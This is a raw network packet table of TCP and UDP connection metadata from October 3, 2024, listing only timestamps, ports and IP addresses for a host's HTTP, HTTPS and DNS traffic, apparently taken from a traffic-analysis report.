Oct 3, 2024 09:20:36.723982096 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.723985910 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.723994970 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.724009037 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.724035978 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.724567890 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.724591017 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.724602938 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.724622965 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.724725008 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.724735975 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.724746943 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.724757910 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.724770069 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.724797964 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.724864006 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.724875927 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.724886894 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.724896908 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.724899054 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.724922895 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.724997044 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.725008011 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.725018978 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.725029945 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.725059986 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.725613117 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.725625992 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.725636959 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.725660086 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.725692034 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.725703001 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.725713015 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.725724936 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.725749969 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.725765944 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.725841045 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.725852013 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.725862980 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.725883961 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.725908041 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.726222992 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.726274967 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.726285934 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.726311922 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.726387024 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.726397991 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.726412058 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.726423979 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.726432085 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.726459026 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.726536036 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.726547003 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.726557970 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.726568937 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.726572990 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.726588011 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.726597071 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.726599932 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.726610899 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.726624966 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.726641893 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.727258921 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.727269888 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.727277040 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.727305889 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.727350950 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.727363110 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.727394104 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.727395058 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.727407932 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.727431059 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.727492094 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.727503061 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.727513075 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.727526903 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.727531910 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.727544069 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.727552891 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.727555990 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.727567911 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.727580070 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.727601051 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.728205919 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.728218079 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.728230000 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.728266001 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.728363037 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.728375912 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.728387117 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.728399038 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.728399992 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.728423119 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.728533983 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.728548050 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.728569984 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.728573084 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.728585005 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.728596926 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.728609085 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.728641033 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.728642941 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.728653908 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.728682041 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.729161978 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.729214907 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.729228020 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.729252100 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.729290009 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.729300976 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.729310989 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.729321957 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.729324102 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.729342937 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.729444981 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.729454994 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.729466915 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.729482889 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.729496956 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.729893923 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.729958057 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.729969978 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.729995012 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.730041027 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.730051994 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.730062962 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.730074883 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.730077982 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.730103970 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.730218887 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.730230093 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.730246067 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.730253935 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.730258942 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.730269909 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.730282068 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.730283022 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.730293036 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.730304956 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.730333090 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.732120991 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.732177973 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.732189894 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.732218981 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.732244968 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.732256889 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.732280016 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.776712894 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:37.004704952 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:37.682796955 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:57.567615986 CEST	49711	443	192.168.2.9	185.26.238.223
Oct 3, 2024 09:20:57.567656040 CEST	443	49711	185.26.238.223	192.168.2.9
Oct 3, 2024 09:20:57.568236113 CEST	49711	443	192.168.2.9	185.26.238.223
Oct 3, 2024 09:20:57.574331045 CEST	49711	443	192.168.2.9	185.26.238.223
Oct 3, 2024 09:20:57.574346066 CEST	443	49711	185.26.238.223	192.168.2.9
Oct 3, 2024 09:20:57.574387074 CEST	443	49711	185.26.238.223	192.168.2.9
Oct 3, 2024 09:20:57.574567080 CEST	49711	443	192.168.2.9	185.26.238.223
Oct 3, 2024 09:20:57.574589014 CEST	443	49711	185.26.238.223	192.168.2.9
Oct 3, 2024 09:21:26.189754963 CEST	49713	443	192.168.2.9	37.27.203.12
Oct 3, 2024 09:21:26.189815998 CEST	443	49713	37.27.203.12	192.168.2.9
Oct 3, 2024 09:21:26.189924955 CEST	49713	443	192.168.2.9	37.27.203.12
Oct 3, 2024 09:21:26.195794106 CEST	49713	443	192.168.2.9	37.27.203.12
Oct 3, 2024 09:21:26.195827961 CEST	443	49713	37.27.203.12	192.168.2.9
Oct 3, 2024 09:21:26.195842981 CEST	49713	443	192.168.2.9	37.27.203.12
Oct 3, 2024 09:21:26.195851088 CEST	443	49713	37.27.203.12	192.168.2.9
Oct 3, 2024 09:21:26.195908070 CEST	443	49713	37.27.203.12	192.168.2.9
Oct 3, 2024 09:21:29.782613039 CEST	49714	443	192.168.2.9	185.93.221.123
Oct 3, 2024 09:21:29.782659054 CEST	443	49714	185.93.221.123	192.168.2.9
Oct 3, 2024 09:21:29.782746077 CEST	49714	443	192.168.2.9	185.93.221.123
Oct 3, 2024 09:21:29.788553953 CEST	49714	443	192.168.2.9	185.93.221.123
Oct 3, 2024 09:21:29.788567066 CEST	443	49714	185.93.221.123	192.168.2.9
Oct 3, 2024 09:21:29.788599014 CEST	49714	443	192.168.2.9	185.93.221.123
Oct 3, 2024 09:21:29.788604021 CEST	443	49714	185.93.221.123	192.168.2.9
Oct 3, 2024 09:21:29.788630962 CEST	443	49714	185.93.221.123	192.168.2.9
Oct 3, 2024 09:21:32.902333975 CEST	49715	443	192.168.2.9	38.180.144.181
Oct 3, 2024 09:21:32.902376890 CEST	443	49715	38.180.144.181	192.168.2.9
Oct 3, 2024 09:21:32.902487993 CEST	49715	443	192.168.2.9	38.180.144.181
Oct 3, 2024 09:21:32.908354998 CEST	49715	443	192.168.2.9	38.180.144.181
Oct 3, 2024 09:21:32.908369064 CEST	443	49715	38.180.144.181	192.168.2.9
Oct 3, 2024 09:21:32.908406973 CEST	49715	443	192.168.2.9	38.180.144.181
Oct 3, 2024 09:21:32.908412933 CEST	443	49715	38.180.144.181	192.168.2.9
Oct 3, 2024 09:21:32.908444881 CEST	443	49715	38.180.144.181	192.168.2.9
Oct 3, 2024 09:21:36.002871990 CEST	49716	443	192.168.2.9	95.156.207.204
Oct 3, 2024 09:21:36.002940893 CEST	443	49716	95.156.207.204	192.168.2.9
Oct 3, 2024 09:21:36.003021955 CEST	49716	443	192.168.2.9	95.156.207.204
Oct 3, 2024 09:21:36.008933067 CEST	49716	443	192.168.2.9	95.156.207.204
Oct 3, 2024 09:21:36.008965015 CEST	443	49716	95.156.207.204	192.168.2.9
Oct 3, 2024 09:21:36.008980989 CEST	49716	443	192.168.2.9	95.156.207.204
Oct 3, 2024 09:21:36.008986950 CEST	443	49716	95.156.207.204	192.168.2.9
Oct 3, 2024 09:21:36.009047031 CEST	443	49716	95.156.207.204	192.168.2.9
Oct 3, 2024 09:21:36.963993073 CEST	49717	443	192.168.2.9	185.81.114.195
Oct 3, 2024 09:21:36.964051962 CEST	443	49717	185.81.114.195	192.168.2.9
Oct 3, 2024 09:21:36.964195967 CEST	49717	443	192.168.2.9	185.81.114.195
Oct 3, 2024 09:21:36.975112915 CEST	49717	443	192.168.2.9	185.81.114.195
Oct 3, 2024 09:21:36.975131035 CEST	443	49717	185.81.114.195	192.168.2.9
Oct 3, 2024 09:21:36.975138903 CEST	49717	443	192.168.2.9	185.81.114.195
Oct 3, 2024 09:21:36.975143909 CEST	443	49717	185.81.114.195	192.168.2.9
Oct 3, 2024 09:21:36.975197077 CEST	443	49717	185.81.114.195	192.168.2.9
Oct 3, 2024 09:21:50.621537924 CEST	49719	443	192.168.2.9	65.108.214.195
Oct 3, 2024 09:21:50.621613026 CEST	443	49719	65.108.214.195	192.168.2.9
Oct 3, 2024 09:21:50.621701956 CEST	49719	443	192.168.2.9	65.108.214.195
Oct 3, 2024 09:21:50.629134893 CEST	49719	443	192.168.2.9	65.108.214.195
Oct 3, 2024 09:21:50.629158020 CEST	443	49719	65.108.214.195	192.168.2.9
Oct 3, 2024 09:21:50.629175901 CEST	49719	443	192.168.2.9	65.108.214.195
Oct 3, 2024 09:21:50.629182100 CEST	443	49719	65.108.214.195	192.168.2.9
Oct 3, 2024 09:21:50.629244089 CEST	443	49719	65.108.214.195	192.168.2.9
Oct 3, 2024 09:21:52.322325945 CEST	49721	443	192.168.2.9	38.180.143.64
Oct 3, 2024 09:21:52.322392941 CEST	443	49721	38.180.143.64	192.168.2.9
Oct 3, 2024 09:21:52.322489023 CEST	49721	443	192.168.2.9	38.180.143.64
Oct 3, 2024 09:21:52.328640938 CEST	49721	443	192.168.2.9	38.180.143.64
Oct 3, 2024 09:21:52.328676939 CEST	443	49721	38.180.143.64	192.168.2.9
Oct 3, 2024 09:21:52.328690052 CEST	49721	443	192.168.2.9	38.180.143.64
Oct 3, 2024 09:21:52.328695059 CEST	443	49721	38.180.143.64	192.168.2.9
Oct 3, 2024 09:21:52.328752041 CEST	443	49721	38.180.143.64	192.168.2.9
Oct 3, 2024 09:21:52.757936001 CEST	49722	443	192.168.2.9	45.155.37.103
Oct 3, 2024 09:21:52.757982016 CEST	443	49722	45.155.37.103	192.168.2.9
Oct 3, 2024 09:21:52.758061886 CEST	49722	443	192.168.2.9	45.155.37.103
Oct 3, 2024 09:21:52.764061928 CEST	49722	443	192.168.2.9	45.155.37.103
Oct 3, 2024 09:21:52.764061928 CEST	49722	443	192.168.2.9	45.155.37.103
Oct 3, 2024 09:21:52.764097929 CEST	443	49722	45.155.37.103	192.168.2.9
Oct 3, 2024 09:21:52.764115095 CEST	443	49722	45.155.37.103	192.168.2.9
Oct 3, 2024 09:21:52.764166117 CEST	443	49722	45.155.37.103	192.168.2.9
Oct 3, 2024 09:21:53.128400087 CEST	49723	443	192.168.2.9	213.109.192.75
Oct 3, 2024 09:21:53.128438950 CEST	443	49723	213.109.192.75	192.168.2.9
Oct 3, 2024 09:21:53.128500938 CEST	49723	443	192.168.2.9	213.109.192.75
Oct 3, 2024 09:21:53.134872913 CEST	49723	443	192.168.2.9	213.109.192.75
Oct 3, 2024 09:21:53.134890079 CEST	443	49723	213.109.192.75	192.168.2.9
Oct 3, 2024 09:21:53.134901047 CEST	49723	443	192.168.2.9	213.109.192.75
Oct 3, 2024 09:21:53.134926081 CEST	443	49723	213.109.192.75	192.168.2.9
Oct 3, 2024 09:21:53.134968042 CEST	443	49723	213.109.192.75	192.168.2.9
Oct 3, 2024 09:21:54.351152897 CEST	49724	443	192.168.2.9	144.208.127.113
Oct 3, 2024 09:21:54.351201057 CEST	443	49724	144.208.127.113	192.168.2.9
Oct 3, 2024 09:21:54.351269007 CEST	49724	443	192.168.2.9	144.208.127.113
Oct 3, 2024 09:21:54.357574940 CEST	49724	443	192.168.2.9	144.208.127.113
Oct 3, 2024 09:21:54.357574940 CEST	49724	443	192.168.2.9	144.208.127.113
Oct 3, 2024 09:21:54.357603073 CEST	443	49724	144.208.127.113	192.168.2.9
Oct 3, 2024 09:21:54.357616901 CEST	443	49724	144.208.127.113	192.168.2.9
Oct 3, 2024 09:21:54.357662916 CEST	443	49724	144.208.127.113	192.168.2.9
Oct 3, 2024 09:21:54.500761986 CEST	49725	443	192.168.2.9	185.36.140.112
Oct 3, 2024 09:21:54.500808954 CEST	443	49725	185.36.140.112	192.168.2.9
Oct 3, 2024 09:21:54.500890017 CEST	49725	443	192.168.2.9	185.36.140.112
Oct 3, 2024 09:21:54.506768942 CEST	49725	443	192.168.2.9	185.36.140.112
Oct 3, 2024 09:21:54.506795883 CEST	443	49725	185.36.140.112	192.168.2.9
Oct 3, 2024 09:21:54.506807089 CEST	49725	443	192.168.2.9	185.36.140.112
Oct 3, 2024 09:21:54.506814003 CEST	443	49725	185.36.140.112	192.168.2.9
Oct 3, 2024 09:21:54.506855965 CEST	443	49725	185.36.140.112	192.168.2.9
Oct 3, 2024 09:21:55.331733942 CEST	49726	443	192.168.2.9	38.180.86.21
Oct 3, 2024 09:21:55.331789970 CEST	443	49726	38.180.86.21	192.168.2.9
Oct 3, 2024 09:21:55.331890106 CEST	49726	443	192.168.2.9	38.180.86.21
Oct 3, 2024 09:21:55.337778091 CEST	49726	443	192.168.2.9	38.180.86.21
Oct 3, 2024 09:21:55.337793112 CEST	443	49726	38.180.86.21	192.168.2.9
Oct 3, 2024 09:21:55.337801933 CEST	49726	443	192.168.2.9	38.180.86.21
Oct 3, 2024 09:21:55.337805986 CEST	443	49726	38.180.86.21	192.168.2.9
Oct 3, 2024 09:21:55.337841988 CEST	443	49726	38.180.86.21	192.168.2.9
Oct 3, 2024 09:21:55.477363110 CEST	49727	443	192.168.2.9	84.32.84.32
Oct 3, 2024 09:21:55.477406025 CEST	443	49727	84.32.84.32	192.168.2.9
Oct 3, 2024 09:21:55.477478981 CEST	49727	443	192.168.2.9	84.32.84.32
Oct 3, 2024 09:21:55.484013081 CEST	49727	443	192.168.2.9	84.32.84.32
Oct 3, 2024 09:21:55.484025955 CEST	443	49727	84.32.84.32	192.168.2.9
Oct 3, 2024 09:21:55.484054089 CEST	49727	443	192.168.2.9	84.32.84.32
Oct 3, 2024 09:21:55.484059095 CEST	443	49727	84.32.84.32	192.168.2.9
Oct 3, 2024 09:21:55.484147072 CEST	443	49727	84.32.84.32	192.168.2.9
Oct 3, 2024 09:21:55.745893002 CEST	49728	444	192.168.2.9	192.168.0.101
Oct 3, 2024 09:21:55.750806093 CEST	444	49728	192.168.0.101	192.168.2.9
Oct 3, 2024 09:21:55.750916004 CEST	49728	444	192.168.2.9	192.168.0.101
Oct 3, 2024 09:21:55.756783962 CEST	49728	444	192.168.2.9	192.168.0.101
Oct 3, 2024 09:21:55.756810904 CEST	49728	444	192.168.2.9	192.168.0.101
Oct 3, 2024 09:21:55.761558056 CEST	444	49728	192.168.0.101	192.168.2.9
Oct 3, 2024 09:21:55.761780024 CEST	444	49728	192.168.0.101	192.168.2.9
Oct 3, 2024 09:22:15.746082067 CEST	49728	444	192.168.2.9	192.168.0.101
Oct 3, 2024 09:22:15.798013926 CEST	444	49728	192.168.0.101	192.168.2.9
Oct 3, 2024 09:22:17.141732931 CEST	444	49728	192.168.0.101	192.168.2.9
Oct 3, 2024 09:22:17.141905069 CEST	49728	444	192.168.2.9	192.168.0.101
Oct 3, 2024 09:22:18.011929035 CEST	49730	379	192.168.2.9	21.105.15.36
Oct 3, 2024 09:22:18.016983986 CEST	379	49730	21.105.15.36	192.168.2.9
Oct 3, 2024 09:22:18.017107010 CEST	49730	379	192.168.2.9	21.105.15.36
Oct 3, 2024 09:22:18.025212049 CEST	49730	379	192.168.2.9	21.105.15.36
Oct 3, 2024 09:22:18.025233030 CEST	49730	379	192.168.2.9	21.105.15.36
Oct 3, 2024 09:22:18.030289888 CEST	379	49730	21.105.15.36	192.168.2.9
Oct 3, 2024 09:22:18.030306101 CEST	379	49730	21.105.15.36	192.168.2.9

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 3, 2024 09:20:44.130002975 CEST	62386	53	192.168.2.9	1.1.1.1
Oct 3, 2024 09:20:44.139198065 CEST	53	62386	1.1.1.1	192.168.2.9
Oct 3, 2024 09:20:46.152548075 CEST	50488	53	192.168.2.9	1.1.1.1
Oct 3, 2024 09:20:46.407536983 CEST	53	50488	1.1.1.1	192.168.2.9
Oct 3, 2024 09:20:48.418148041 CEST	55971	53	192.168.2.9	1.1.1.1
Oct 3, 2024 09:20:48.428833961 CEST	53	55971	1.1.1.1	192.168.2.9
Oct 3, 2024 09:20:50.433917999 CEST	58245	53	192.168.2.9	1.1.1.1
Oct 3, 2024 09:20:50.454922915 CEST	53	58245	1.1.1.1	192.168.2.9
Oct 3, 2024 09:20:52.464793921 CEST	64357	53	192.168.2.9	1.1.1.1
Oct 3, 2024 09:20:52.477595091 CEST	53	64357	1.1.1.1	192.168.2.9
Oct 3, 2024 09:20:54.480531931 CEST	58513	53	192.168.2.9	1.1.1.1
Oct 3, 2024 09:20:54.495857000 CEST	53	58513	1.1.1.1	192.168.2.9
Oct 3, 2024 09:20:57.512237072 CEST	52327	53	192.168.2.9	1.1.1.1
Oct 3, 2024 09:20:57.563091040 CEST	53	52327	1.1.1.1	192.168.2.9
Oct 3, 2024 09:20:59.590022087 CEST	54166	53	192.168.2.9	1.1.1.1
Oct 3, 2024 09:20:59.599040985 CEST	53	54166	1.1.1.1	192.168.2.9
Oct 3, 2024 09:21:01.607420921 CEST	57338	53	192.168.2.9	1.1.1.1
Oct 3, 2024 09:21:01.616451979 CEST	53	57338	1.1.1.1	192.168.2.9
Oct 3, 2024 09:21:04.621164083 CEST	63852	53	192.168.2.9	1.1.1.1
Oct 3, 2024 09:21:04.633277893 CEST	53	63852	1.1.1.1	192.168.2.9
Oct 3, 2024 09:21:06.636859894 CEST	55486	53	192.168.2.9	1.1.1.1
Oct 3, 2024 09:21:06.647084951 CEST	53	55486	1.1.1.1	192.168.2.9
Oct 3, 2024 09:21:09.652338982 CEST	63928	53	192.168.2.9	1.1.1.1
Oct 3, 2024 09:21:09.662805080 CEST	53	63928	1.1.1.1	192.168.2.9
Oct 3, 2024 09:21:12.668694973 CEST	53898	53	192.168.2.9	1.1.1.1
Oct 3, 2024 09:21:12.677344084 CEST	53	53898	1.1.1.1	192.168.2.9
Oct 3, 2024 09:21:14.683804989 CEST	52272	53	192.168.2.9	1.1.1.1
Oct 3, 2024 09:21:14.693217993 CEST	53	52272	1.1.1.1	192.168.2.9
Oct 3, 2024 09:21:17.699202061 CEST	57891	53	192.168.2.9	1.1.1.1
Oct 3, 2024 09:21:17.708304882 CEST	53	57891	1.1.1.1	192.168.2.9
Oct 3, 2024 09:21:19.654114962 CEST	57273	53	192.168.2.9	1.1.1.1
Oct 3, 2024 09:21:19.697890043 CEST	53	57273	1.1.1.1	192.168.2.9
Oct 3, 2024 09:21:21.512227058 CEST	60579	53	192.168.2.9	1.1.1.1
Oct 3, 2024 09:21:21.665627003 CEST	53	60579	1.1.1.1	192.168.2.9
Oct 3, 2024 09:21:24.199301004 CEST	50315	53	192.168.2.9	1.1.1.1
Oct 3, 2024 09:21:24.369963884 CEST	53	50315	1.1.1.1	192.168.2.9
Oct 3, 2024 09:21:25.902762890 CEST	61224	53	192.168.2.9	1.1.1.1
Oct 3, 2024 09:21:26.188956022 CEST	53	61224	1.1.1.1	192.168.2.9
Oct 3, 2024 09:21:27.621237040 CEST	52010	53	192.168.2.9	1.1.1.1
Oct 3, 2024 09:21:27.630079985 CEST	53	52010	1.1.1.1	192.168.2.9
Oct 3, 2024 09:21:29.621252060 CEST	64257	53	192.168.2.9	1.1.1.1
Oct 3, 2024 09:21:29.781928062 CEST	53	64257	1.1.1.1	192.168.2.9
Oct 3, 2024 09:21:30.980604887 CEST	53281	53	192.168.2.9	1.1.1.1
Oct 3, 2024 09:21:31.053992033 CEST	53	53281	1.1.1.1	192.168.2.9
Oct 3, 2024 09:21:32.730562925 CEST	63532	53	192.168.2.9	1.1.1.1
Oct 3, 2024 09:21:32.901067972 CEST	53	63532	1.1.1.1	192.168.2.9
Oct 3, 2024 09:21:34.418530941 CEST	58765	53	192.168.2.9	1.1.1.1
Oct 3, 2024 09:21:35.077259064 CEST	53	58765	1.1.1.1	192.168.2.9
Oct 3, 2024 09:21:35.980726004 CEST	53643	53	192.168.2.9	1.1.1.1
Oct 3, 2024 09:21:36.001826048 CEST	53	53643	1.1.1.1	192.168.2.9
Oct 3, 2024 09:21:36.857867002 CEST	53796	53	192.168.2.9	1.1.1.1
Oct 3, 2024 09:21:36.962421894 CEST	53	53796	1.1.1.1	192.168.2.9
